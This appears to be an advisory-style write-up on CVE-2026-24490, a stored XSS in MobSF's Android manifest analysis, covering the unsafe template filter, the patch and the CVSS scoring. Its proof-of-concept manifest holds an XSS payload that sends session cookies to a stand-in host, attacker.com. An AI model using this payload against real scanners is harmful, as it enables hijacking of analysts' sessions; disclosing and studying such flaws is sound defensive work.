CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24490

MobSF Stored XSS: When the Scanner Becomes the Target

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 27, 2026·6 min read·44 visits

Executive Summary (TL;DR)

MobSF trusted the contents of AndroidManifest.xml a little too much. By crafting a malicious APK with a specific 'dialer code' intent, an attacker can inject JavaScript into the static analysis report. When a researcher opens the report, the script executes, potentially stealing sessions or compromising the host.

A critical Stored Cross-Site Scripting (XSS) vulnerability in Mobile Security Framework (MobSF) allows attackers to inject malicious JavaScript via crafted Android Manifest files. This turns the security analyst's dashboard into a weapon against them.

The Hook: Who Watches the Watchmen?

MobSF (Mobile Security Framework) is the Swiss Army knife for mobile application security. It’s the tool you fire up when you have a suspicious APK and want to know if it's malware or just poorly written code. You upload the binary, it churns through the bytecode, resources, and manifest, and spits out a beautiful, comprehensive HTML report. It is the definition of a 'trusted tool' in a researcher's arsenal.

But here's the irony: in security software, the parser is often the most dangerous component. To analyze malware, you have to parse it. And if your parser isn't paranoid, the malware analyzes you back. CVE-2026-24490 is exactly this scenario—a classic Stored XSS vulnerability nested deep within the static analysis logic for Android manifests.

The vulnerability allows an attacker to embed a payload inside an APK file. This payload lies dormant until a security analyst—potentially an admin or a researcher with high-level access—decides to audit that specific file. It’s a literal booby trap for blue teams.

The Flaw: Trusting the Manifest

The root cause lies in how MobSF handles specific Android Manifest attributes. During static analysis, MobSF looks for 'Secret Codes' (also known as Dialer Codes). These are special codes like *#*#4636#*#* that, when entered into the phone dialer, trigger hidden menus or diagnostics. These are defined in AndroidManifest.xml via intent filters with the scheme android_secret_code.

When MobSF finds such an intent, it attempts to extract the android:host attribute, which contains the actual numeric code. The logic was intended to be helpful: find the code, put it in a list, and show it to the user. However, the extraction logic treated the XML content as plain text rather than untrusted input.

The developers made a fatal assumption: that the android:host attribute would strictly contain numbers or safe characters. They failed to realize that an attacker can put anything in there, including full HTML strings, as long as the XML structure remains valid. MobSF grabbed this string, threw it into a report object, and prepared it for display.

The Code: The 'Safe' Filter Trap

Let’s look at the smoking gun. The issue is a two-part tragedy involving Python logic and Django templates. First, in mobsf/StaticAnalyzer/views/android/manifest_analysis.py, the code extracts the host without sanitization:

# The extraction (simplified)
xmlhost = data.getAttribute(f'{ns}:host') 
# xmlhost is now potentially "<img src=x onerror=alert(1)>"
ret_list.append(('dialer_code_found', (xmlhost,), ()))

This raw string is then formatted into a title defined in the Knowledge Base. The developers wanted to include a line break <br> in the title for formatting purposes. Because they wanted that <br> to render as a newline and not as text, they had to tell the template engine to disable escaping.

In Django, this is done with the |safe filter. It's the developer equivalent of disabling the safety on a firearm because the trigger is a bit stiff.

<!-- mobsf/templates/static_analysis/android_binary_analysis.html -->
<td>
    <!-- The |safe filter tells Django: "I checked this, don't escape HTML." -->
    {{item|key:"title" | safe}}
</td>

Because the title string contained the user-controlled xmlhost variable, and the entire string was marked safe, the attacker's JavaScript was rendered directly into the browser DOM.

The Exploit: Building a Trojan APK

Exploiting this is trivially easy for anyone familiar with Android development. You don't need memory corruption or ROP chains; you just need a text editor. We create a valid AndroidManifest.xml but inject an XSS payload into the android:host field of a secret code receiver.

Here is what the malicious manifest looks like:

<receiver android:name=".MaliciousReceiver">
    <intent-filter>
        <action android:name="android.provider.Telephony.SECRET_CODE" />
        <!-- The Payload -->
        <data android:scheme="android_secret_code" 
              android:host="&lt;img src=x onerror=fetch('http://attacker.com/?cookie='+document.cookie)&gt;" />
    </intent-filter>
</receiver>

We compile this into an APK (let's call it malware_sample_v1.apk) and upload it to the victim's MobSF instance. The server parses it, stores the "host" (our payload) in the database, and generates the report.

The moment the analyst opens the "Static Analysis" report page, the browser renders the <img> tag. The image source x fails to load, triggering the onerror event, which executes our JavaScript. Game over.

The Impact: From Scanner to Shell

Why is XSS in a vulnerability scanner a big deal? Context matters. MobSF is often deployed in internal environments, accessible by engineering teams and security operations centers (SOCs).

  1. Session Hijacking: The most immediate impact is stealing the session cookies of the user viewing the report. If that user is an administrator, the attacker can take over the MobSF instance, delete reports, or modify configurations.

  2. Internal Network Access: Through browser hooking (using frameworks like BeEF), the attacker can use the victim's browser as a proxy to scan the internal network, hitting endpoints that are not exposed to the internet.

  3. Client-Side RCE: In some scenarios, if the browser or the dashboard has further vulnerabilities, XSS can be the stepping stone to full Remote Code Execution on the analyst's machine.

This vulnerability turns the act of analyzing malware into a risk. It forces the defenders to treat their own tools with suspicion.

The Fix: Killing the unsafe filter

The remediation in version 4.4.5 was robust. The developers didn't just patch the one input; they changed their rendering philosophy for this component.

First, they introduced an explicit escaping function in the Python code:

def escape_manifest_attribute(value):
    if not value:
        return value
    return escape(value) # Django's built-in escape

Second, and most importantly, they removed the |safe filter from the templates. To handle the formatting issue (where they previously needed safe to render <br>), they simply removed the HTML tags from the python strings. If you need formatting, do it in the template structure, not in the data string.

Key Takeaway: If you find yourself typing |safe (or dangerouslySetInnerHTML in React) to solve a formatting annoyance, stop. You are likely introducing a security hole.

Official Patches

MobSFRelease Notes for v4.4.5

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Affected Systems

Mobile Security Framework (MobSF) < 4.4.5

Affected Versions Detail

Product
Affected Versions
Fixed Version
Mobile Security Framework (MobSF)
MobSF
< 4.4.54.4.5
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (Stored via File Upload)
CVSS Score8.1 (High)
ImpactSession Hijacking, RCE via Browser
Exploit StatusProof of Concept Available
Fix Version4.4.5

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1189Drive-by Compromise
Initial Access
T1539Steal Web Session Cookie
Credential Access
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GitHub Security AdvisoryAdvisory containing description and PoC vector

Vulnerability Timeline

Vulnerability identified
2026-01-15
Patch released (v4.4.5)
2026-01-26
CVE Published
2026-01-27

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•27 minutes ago•CVE-2026-39922
6.3

CVE-2026-39922: Server-Side Request Forgery in GeoNode Service Registration Endpoint

GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.

Alon Barad
Alon Barad
1 views•7 min read
•about 10 hours ago•CVE-2022-0492
7.8

CVE-2022-0492: Privilege Escalation and Container Escape via cgroups v1 release_agent

CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.

Amit Schendel
Amit Schendel
6 views•7 min read
•2 days ago•GHSA-G72G-R7M4-9X4G
6.3

GHSA-G72G-R7M4-9X4G: Insufficient Session Expiration of OAuth Tokens in NocoDB

NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.

Amit Schendel
Amit Schendel
9 views•6 min read
•2 days ago•GHSA-FGMC-2HQJ-86V4
6.9

GHSA-FGMC-2HQJ-86V4: Default Administrative Credentials in vantage6-server

A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.

Amit Schendel
Amit Schendel
8 views•5 min read
•2 days ago•GHSA-X9F6-9RVM-MMRG
6.9

GHSA-X9F6-9RVM-MMRG: Improper Access Control and Volume Mount Isolation Bypass in vantage6 Node

An improper access control vulnerability in the vantage6 node component allows concurrently running algorithm containers to read and modify sensitive input and output files of other tasks. The lack of strict workspace directory isolation exposes a significant attack surface in multi-tenant or federated environments where untrusted algorithms are executed.

Amit Schendel
Amit Schendel
3 views•4 min read
•2 days ago•CVE-2026-47760
8.7

CVE-2026-47760: Cross-Site Scripting (XSS) via SVG Namespace Sanitizer Bypass in TinyMCE

TinyMCE versions 6.8.0 through 7.0.1 contain a high-severity Cross-Site Scripting (XSS) vulnerability. The flaw exists in the custom HTML parser and sanitizer module, which incorrectly manages SVG namespace scopes when parsing nested elements. A low-privileged or unauthenticated attacker can submit a crafted HTML payload containing nested SVG structures to bypass sanitization filters, leading to arbitrary JavaScript execution in the context of the victim's browser session.

Alon Barad
Alon Barad
27 views•7 min read